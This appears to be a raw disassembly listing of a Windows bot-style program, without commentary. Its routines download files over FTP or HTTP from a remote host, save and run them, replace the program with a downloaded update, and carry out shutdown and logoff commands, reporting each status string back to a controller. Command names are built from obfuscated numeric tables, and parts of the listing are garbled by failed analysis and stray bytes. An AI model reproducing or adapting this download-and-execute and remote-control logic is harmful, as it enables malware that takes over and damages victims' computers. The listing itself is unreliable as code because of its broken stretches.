		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444ED0 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FD4
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28B0AF2h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28B0AF2h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28B0AF2h


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
